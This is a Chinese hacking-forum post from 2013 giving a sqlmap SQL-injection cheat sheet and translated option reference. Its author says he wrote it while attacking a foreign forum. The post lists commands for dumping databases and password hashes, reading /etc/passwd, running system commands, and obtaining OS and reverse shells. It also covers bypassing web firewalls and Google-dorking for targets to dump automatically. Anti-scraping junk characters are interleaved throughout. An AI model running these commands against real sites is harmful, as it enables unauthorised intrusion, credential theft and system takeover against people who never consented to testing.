找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2801|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
0 i4 }; g3 m) p9 Y. @9 Y) Tsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称5 x: a8 `3 a; U% p# K! d% c
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名+ ~6 S+ l$ N8 X: r; `
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段5 X# R! L. d# \, M9 O: k6 `

3 }0 C8 S, q5 ssqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
+ Z/ \$ C. L& ]8 _& i6 @3 q8 A1 d0 #获取字段内容; F6 @6 A& c) u2 k" ?! T
! u. G4 E2 y) [  C7 W* v/ V& w7 Y
******************信息获取******************7 K: K: M: ?, w
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
6 _/ a/ ]9 y- X! q4 J: l; b6 o; ~sqlmap -u “http://url/news?id=1″ –users #列数据库用户
; _  B' y+ ~0 W5 J3 Psqlmap -u “http://url/news?id=1″ –dbs#列数据库" z: {  M( C/ ~: n( M- M
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
5 t6 c% _% W2 p: S$ w6 O1 g9 f* Xsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
0 |: M, T8 o* T$ y. x5 Ysqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
) _/ l1 L- b5 j; y% N+ J. D# `–start 1 –stop 20 #列出指定字段,列出20 条$ H( b. k; W" H7 _3 N
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表3 J( _' O* C) a1 I& B- Q
sqlmap -u “http://url/news?id=1″ –privileges #查看权限1 Z6 Q  |0 I2 r: U& i: T, R# @
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
# u  h- p- m' w4 o5 D0 o9 Q2 asqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
* H1 l- ?/ z5 _0 T6 G* i8 R7 i" ]+ Ssqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
1 g* a; K9 F; Q3 h1 B9 q! D" bsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
6 ]% z5 \- R- d$ I2 h* f- csqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入! ], M2 n: @1 ^3 {4 d6 J8 q, Q" s
sqlmap -u “http://url/news?id=1″-b #获取banner信息
" y% _9 }3 j& Y3 F0 s) a" R6 hsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入$ [) L, M! b+ [) W
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型( o' R& c! u/ x8 g" d! d# w
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
  U1 @% H+ M9 e9 O5 E. Ksqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
* I2 r  T. U& ^4 `$ U# Bsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
/ ?9 N2 Z: }; i* O& V/ y( m) _sqlmap -u “http://url/news?id=1″ –file /etc/passwd
& f; _8 _, ]) Jsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
% y1 g1 E2 l( v( l% Z' Xsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
' j8 {9 E3 C3 x6 N0 ksqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
* h# m* E/ X: k7 |sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度) Y# y$ f9 _1 p% ?4 M0 x
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
+ @5 \. m7 q3 f: @/ N' z***********高级用法*************
) |) a& s, L4 `2 w-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入, w4 N5 L) U6 v6 P1 o1 R
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问& u6 Y5 {5 `4 w; D1 ^/ R
–technique   测试指定注入类型\使用的技术
% x( r3 q1 o$ P: R# z% a不加参数默认测试所有注入技术% |, h5 s* W, Y: x* Y8 w
•     B: 基于布尔的SQL 盲注2 Q8 ^+ }! z: v" X" `0 t
•     E: 基于显错sql 注入
9 g3 i8 C. M' @1 l9 f; b$ q( ]7 T3 @•     U: 基于UNION 注入
: U/ _& x+ b$ p2 a( [1 Y•     S: 叠层sql 注入* y# H& W7 w. g& x+ T( Z/ h. W2 Z
•     T: 基于时间盲注7 W% ]1 V/ ^! ?% Y  d; Y( K
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
, I# q' g6 O8 L# [+ `–tamper 插件所在目录
+ ]  u% F' M$ E5 q2 q6 U4 x# y\sqlmap-dev\tamper# r2 R* o& C0 c- T+ T5 m# I& @
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能0 r  h$ C9 k) G& t
level 执行测试等级 攻击实例:
. N7 u& N7 _" u- V! J2 i& o5 iSqlmap -u “http://url/news?id=1&Submit=Submit”
! ^' r  w7 p5 F–cookie=”PHPSESSID=41aa833e6d0d& f1 Z* @3 p9 L% K* }
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user9 [; I5 E: \5 w! I. N0 h
–password6 j' @& c$ k0 x& \4 G
参考文档:http://sqlmap.sourceforge.net/doc/README.html' I1 W4 q* D; K! D# y! G- ~
***********安装最新版本*************# p5 t' B! R9 D" x
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
1 a+ r* X) [: v' `" e. Msudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
9 ?" l0 b) ~5 F) W4 z! @1 |0 Z安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件3 l7 y4 J( \, F4 y+ H
sudo vim /home/当前用户/.bashrc
! p: i) m) y4 j6 k9 p3 x! d#任意位置加上:/ ?  s) D" ^: `: m6 U9 }7 s  @- W
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
( ^; u% M( \! e( v1 k: u如果想对所有用户有效 可设置全局 编辑下面的文件0 Z. w1 B' }- i2 L  Y0 e( l
vim /etc/profile( S' m( [$ m# O  x, }  b( c
同样加上:
, d' r* S+ Z; s6 v' k. f$ ^alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
2 h* }4 F- M" N: }; O******************windows 7 (x64) sqlmap install (SVN)************- W' a1 f9 X3 Z% i( T# o9 W0 R0 I8 e: M
http://www.python.org/getit/ 安装python
; }! b, w, W% `7 m# xhttp://www.sliksvn.com/en/download 安装windows svn client+ o! p( z' |% y3 k2 Z
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev0 N" G/ |/ x. o
安装sqlmap6 f5 A3 T. ^9 h1 h3 V3 G
*修改环境变量+ `3 `% M, L2 q& Q: S
–version             显示程序的版本号并退出( D& F. U0 I/ O$ o3 D
-h, –help            显示此帮助消息并退出
" r+ C+ J$ j+ O1 W-v VERBOSE            详细级别:0-6(默认为1)
4 Z) _+ c7 k( `& x1 I. D% zTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。! a  e" \$ x4 \" A" t8 V; _
-d DIRECT           直接连接到数据库。
) u; j3 q. h% E' }+ f0 U. s-u URL, –url=URL   目标URL。) W4 I+ N3 P  n, Q; z( T8 \
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。' X$ E8 z7 N/ V2 j9 t
-r REQUESTFILE      从一个文件中载入HTTP 请求。
4 y& @2 a* g9 K-g GOOGLEDORK       处理Google dork 的结果作为目标URL。  N% d  v& \6 U/ l
-c CONFIGFILE       从INI 配置文件中加载选项。
. s7 k! e$ Y- S2 e4 tRequest(请求)::
9 i$ ?& W! M7 ]! S& p这些选项可以用来指定如何连接到目标URL。4 b( ~3 }( n) }6 Z* a3 b8 I
–data=DATA         通过POST 发送的数据字符串
4 _& a6 ?" @! D  b5 ?4 N–cookie=COOKIE     HTTP Cookie 头  h$ N# T& N( U* [1 B, z
–cookie-urlencode  URL 编码生成的cookie 注入  q+ h7 l, T; c8 B: r
–drop-set-cookie   忽略响应的Set –Cookie 头信息
0 w& l5 W& Z) ?
! U, n4 Z* C. X: p6 p–user-agent=AGENT  指定  HTTP User –Agent 头
8 d5 E/ g/ q- v" |2 `0 b–random-agent      使用随机选定的HTTP User –Agent 头
# X2 f; _% |. f+ u$ X" o& g–referer=REFERER   指定  HTTP Referer 头5 f1 E4 B$ y# Z1 A  x
–headers=HEADERS   换行分开,加入其他的HTTP 头
7 `' w9 X$ W$ ?! H–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)/ n0 _+ f- g" j0 N1 d
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)) ~7 v- t9 e# B) t9 E5 b
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)' d4 ~3 b; U" I9 v6 m% E
–proxy=PROXY       使用HTTP 代理连接到目标URL
% X5 o+ N( q7 ^1 p–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)9 V2 H! k+ \* ^$ v; U2 c
–ignore-proxy      忽略系统默认的HTTP 代理0 @7 q+ ?7 l' [, m! \! Y$ d
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒. n1 Y9 G* {. E1 U, E  n
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒): B9 }! y; J& r
–retries=RETRIES   连接超时后重新连接的时间(默认3)" C# j- M$ ~, Q* F
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式$ n9 H$ p3 ~' D& u0 k. e
–safe-url=SAFURL   在测试过程中经常访问的url 地址
% {2 Q6 i) ~9 B% I7 Z# n–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL
- X7 Y. s; k# ROptimization(优化): 这些选项可用于优化SqlMap 的性能。' H5 x: U- Y; _' N3 u
-o                  开启所有优化开关% _6 m" Q: g: u6 G
–predict-output    预测常见的查询输出
8 d4 A* S0 \3 a' W( D% |* u6 N–keep-alive        使用持久的HTTP(S)连接
+ p: Z# F5 n. T! Q–null-connection   从没有实际的HTTP 响应体中检索页面长度1 O( m: G  K! i& k+ I  j) x
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
$ |6 E* S0 K! E8 g" f5 {; T1 mInjection(注入):7 Z* c0 D/ a. X2 G
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
- G6 [# X* j, X" g-p TESTPARAMETER    可测试的参数(S)
6 C2 W7 p+ ?  u0 h2 v, ^) ^–dbms=DBMS         强制后端的DBMS 为此值
3 ]3 i- a/ J' g: ^9 r–os=OS             强制后端的DBMS 操作系统为这个值
8 ]" |1 {; c% s: r/ G–prefix=PREFIX     注入payload 字符串前缀
7 W* K/ q/ y+ n5 E. j–suffix=SUFFIX     注入 payload 字符串后缀, Q, u& ?: O' _' Q- s% ]0 g
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
6 z2 U/ f5 T8 ]' H& @Detection(检测):
' z! }) b4 C& d2 M* Y这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。3 Y- Z/ r+ n. n9 S
–level=LEVEL       执行测试的等级(1-5,默认为1)
0 V8 z) R# \" @: b+ L–risk=RISK         执行测试的风险(0-3,默认为1), Z! e: _8 Y5 n6 h
–string=STRING     查询时有效时在页面匹配字符串( V# _4 r' Y/ p- E% \
–regexp=REGEXP     查询时有效时在页面匹配正则表达式7 l8 K. M& ?7 O' F
–text-only         仅基于在文本内容比较网页
/ X5 m) R# G" z+ x& b2 {Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
. J3 W# I5 X! `) \$ a$ L' s, e1 K–technique=TECH    SQL 注入技术测试(默认BEUST)
. _1 k, M" [" @–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)# `# b# ^. A* n8 N
–union-cols=UCOLS  定列范围用于测试UNION 查询注入- V9 w. {( |' `, ]6 i8 n
–union-char=UCHAR  用于暴力猜解列数的字符" g2 n$ ?. ^: m8 x# V% ~, f
Fingerprint(指纹):
2 H4 A7 q9 |1 I9 ?- g" `3 }-f, –fingerprint     执行检查广泛的DBMS 版本指纹7 I5 L/ ?7 F) Q) U) R4 u
Enumeration(枚举):& E' C0 t* t4 v
  k- ?# O. ^5 q3 f' Y
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。/ O. z8 z% g( y0 G
-b, –banner        检索数据库管理系统的标识
+ N" D4 b1 t, K: C0 d; f–current-user      检索数据库管理系统当前用户
0 ~# o2 Z! C* r6 z; V# H–current-db        检索数据库管理系统当前数据库
! l, e9 [8 d" N- e–is-dba            检测DBMS 当前用户是否DBA( P+ M. K4 b( X. i/ c5 s4 K
–users             枚举数据库管理系统用户
; _, t4 {5 n: K( R, V  q–passwords         枚举数据库管理系统用户密码哈希. X# p# @& S8 J# ~! {, ?; v
–privileges        枚举数据库管理系统用户的权限
5 ?+ @& _2 A8 o1 I$ l2 N# a* c–roles             枚举数据库管理系统用户的角色
4 M3 x* G8 C$ F# N- ?: H–dbs               枚举数据库管理系统数据库) e) d1 T4 x% y0 ]0 D, g5 [' E
–tables            枚举的DBMS 数据库中的表
0 D) _4 D( O7 ~% M: A–columns           枚举DBMS 数据库表列
* f8 q! h0 I: G& t5 o3 @/ M' P–dump              转储数据库管理系统的数据库中的表项
" Q$ O& D, M9 X4 [7 W; m–dump-all          转储所有的DBMS 数据库表中的条目, z( n" f3 x( q" q. ~7 G
–search            搜索列(S),表(S)和/或数据库名称(S)
3 S( Q7 `: J4 j, q' T3 Y-D DB               要进行枚举的数据库名; @0 N& j$ v2 l8 j4 g2 p( x0 ^
-T TBL              要进行枚举的数据库表
7 s. V, }- s& [7 G4 V-C COL              要进行枚举的数据库列/ ~0 u% w3 [5 F' B- [, M6 y
-U USER             用来进行枚举的数据库用户
6 C* D- |. s  X. v& b; b2 T6 R6 f( i–exclude-sysdbs    枚举表时排除系统数据库) P9 l) z" O. B
–start=LIMITSTART  第一个查询输出进入检索
3 ?- X; k/ e1 x/ U7 S; @5 {7 V5 L–stop=LIMITSTOP    最后查询的输出进入检索
: x3 w% W) b" y: j# c  ^2 n–first=FIRSTCHAR   第一个查询输出字的字符检索  K. [. l* v( [  ~+ [
–last=LASTCHAR     最后查询的输出字字符检索2 L- L& F% `+ l' n7 J" j+ z
–sql-query=QUERY   要执行的SQL 语句
$ _' j. k4 L8 W–sql-shell         提示交互式SQL 的shell
2 T# J3 D, n& kBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
, {8 E: `# N& N1 L0 ~–common-tables     检查存在共同表& T$ }* R6 L( @$ J9 _! i
–common-columns    检查存在共同列* |& g3 n) C# f
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
& Y; o) b; D2 ~4 z* Y2 d2 ~! [–udf-inject        注入用户自定义函数8 X2 [6 U3 |% e6 S5 K  X
–shared-lib=SHLIB  共享库的本地路径
; Q( I" s7 F" D  r8 T6 l. m2 nFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
* m0 d+ ^) E( W* I. r' Y! [–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
) t" e9 T7 M. w$ W! P4 B0 W/ b–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
: r7 _. |4 n, w6 Y% b, R3 V–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
; Z/ G* Z- f0 rOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
. @- Y8 v8 D6 ?–os-cmd=OSCMD      执行操作系统命令& m, d! b: X- x; V& [! F
–os-shell          交互式的操作系统的shell
* i6 k: d  n- P–os-pwn            获取一个OOB shell,meterpreter 或VNC
  E4 G7 X: v9 t8 s' h7 U0 C4 h( f–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
6 e: t) e/ r) E" p4 d1 g–os-bof            存储过程缓冲区溢出利用# w, h% @, Y. r2 N# ]4 I" R
–priv-esc          数据库进程用户权限提升$ S1 @8 @/ R' T4 |/ d
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径9 w. G$ r. E2 I- E- Y0 O5 d! d
–tmp-path=TMPPATH  远程临时文件目录的绝对路径- q6 i1 x# B' z1 P  @. T+ G
" r- {* c# P* l" d% L5 _# a/ [2 B+ n
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。  L- a6 e. @" o2 K0 ~
–reg-read          读一个Windows 注册表项值* A/ ]' E4 S3 b2 R/ N# V* l% e
–reg-add           写一个Windows 注册表项值数据
; x, Z  X6 F4 V! w# h–reg-del           删除Windows 注册表键值
; [8 S- d$ ]' C( l5 |- X–reg-key=REGKEY    Windows 注册表键- u$ o* r) k4 J7 y
–reg-value=REGVAL  Windows 注册表项值: e; R3 G/ h: j$ r* p( u* P9 y" d: E
–reg-data=REGDATA  Windows 注册表键值数据+ L% L9 ~" E! {! I" ~
–reg-type=REGTYPE  Windows 注册表项值类型; M0 |5 M; p& r% r( ]7 Q5 y! C1 ?
General(一般): 这些选项可以用来设置一些一般的工作参数。
% R& a2 p8 s: h3 R$ d- j! c, g7 ~-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
7 V9 V0 J5 B: `. y' E  ]  q9 z4 q4 {-s SESSIONFILE      保存和恢复检索会话文件的所有数据
/ o5 j: ~5 S) r9 Q) x! P8 A3 _! \–flush-session     刷新当前目标的会话文件' }9 [' S1 F0 ^
–fresh-queries     忽略在会话文件中存储的查询结果
; a3 q- @4 M# P7 @) j; k6 i–eta               显示每个输出的预计到达时间
0 \: n" d! ^: N/ ?7 ^6 }–update            更新SqlMap! E7 ~: v6 I) U( B4 |8 f0 p
–save              file 保存选项到INI 配置文件
1 k( r) L4 [: v. c/ T9 x–batch             从不询问用户输入,使用所有默认配置。1 d) z4 y# s0 K/ r1 }
Miscellaneous(杂项):
- Q$ g( i9 `! f3 h, N4 o* m! p–beep              发现SQL 注入时提醒/ B% W: ]- f* A7 B4 P$ ]
–check-payload     IDS 对注入payloads 的检测测试' R- e1 r; x" `6 E+ x/ s
–cleanup           SqlMap 具体的UDF 和表清理DBMS3 |4 R" J9 X; h0 w$ i, @
–forms             对目标URL 的解析和测试形式6 Z- x- D+ m; Z( k8 w
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果6 [- Q; q7 e1 B. f
–page-rank         Google dork 结果显示网页排名(PR)/ k( D- H" y* }; j5 p- S4 G5 z
–parse-errors      从响应页面解析数据库管理系统的错误消息2 @# ?8 v3 g9 [8 S
–replicate         复制转储的数据到一个sqlite3 数据库; X; a8 `' Q- n, T
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址3 f% h# x9 ~2 R1 J& s
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表